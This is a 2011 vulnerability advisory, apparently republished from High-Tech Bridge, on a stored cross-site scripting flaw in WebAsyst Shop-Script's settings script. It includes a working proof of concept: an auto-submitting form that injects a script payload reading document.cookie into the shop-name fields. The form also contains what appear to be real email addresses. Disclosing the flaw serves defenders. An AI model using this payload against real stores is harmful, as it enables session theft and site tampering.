HTB22818: Stored XSS vulnerability in WebAsyst Shop-Script

2011-02-08T00:00:00
ID SECURITYVULNS:DOC:25632
Type securityvulns
Reporter Securityvulns
Modified 2011-02-08T00:00:00

Description

Vulnerability ID: HTB22818 Reference: http://www.htbridge.ch/advisory/stored_xss_vulnerability_in_webasyst_shop_script.html Product: WebAsyst Shop-Script Vendor: WebAsyst, LLC ( http://www.shop-script.ru/ ) Vulnerable Version: Current version 2011.01.23 (shop-script.ru/demo/) Vendor Notification: 25 January 2011 Vulnerability Type: Stored XSS (Cross Site Scripting) Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "SC/html/scripts/index.php" script to properly sanitize user-supplied input in "settingCONF_SHOP_NAME_en" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/SC/html/scripts/index.php?ukey=bsettings&settings_groupID=2" method="post" name="main" enctype="multipart/form-data" > <input type="hidden" name="uri" value="http://1" /> <input type="hidden" name="settingCONF_SHOP_NAME_ru" value='shopname"><script>alert(document.cookie)</script>'> <input type="hidden" name="settingCONF_SHOP_NAME_en" value='shopname"><script>alert(document.cookie)</script>'> <input type="hidden" name="settingCONF_SHOP_URL" value="klyne.webasyst.net/shop/"> <input type="hidden" name="settingCONF_GENERAL_EMAIL" value="klyne19@mail.ru"> <input type="hidden" name="settingCONF_ORDERS_EMAIL" value="klyne19@mail.ru"> <input type="hidden" name="settingCONF_ENABLE_CONFIRMATION_CODE" value="1"> <input type="hidden" name="setting_DATEFORMAT" value="DD.MM.YYYY"> <input type="hidden" name="setting_CONF_STOREFRONT_TIME_ZONE" value="51"> <input type="hidden" name="setting_CONF_FIRST_WEEKDAY" value="0"> <input type="hidden" name="settingCONF_DEFAULT_TITLE_ru" value="klyne"> <input type="hidden" name="settingCONF_DEFAULT_TITLE_en" value="klyne - Online Store"> <input type="hidden" name="settingCONF_HOMEPAGE_META_KEYWORDS_ru" value=""> <input type="hidden" name="settingCONF_HOMEPAGE_META_KEYWORDS_en" value=""> <input type="hidden" name="settingCONF_HOMEPAGE_META_DESCRIPTION_ru" value=""> <input type="hidden" name="settingCONF_HOMEPAGE_META_DESCRIPTION_en" value=""> <input type="hidden" name="settingCONF_GOOGLE_MAPS_API_KEY" value=""> <input type="hidden" name="settingCONF_WAREHOUSE_ADDRESS" value=""> <input type="hidden" name="setting_CONF_PRINTFORM_COMPANY_LOGO" value=""> <input type="hidden" name="save" value="Save">

</form> <script> document.main.submit(); </script>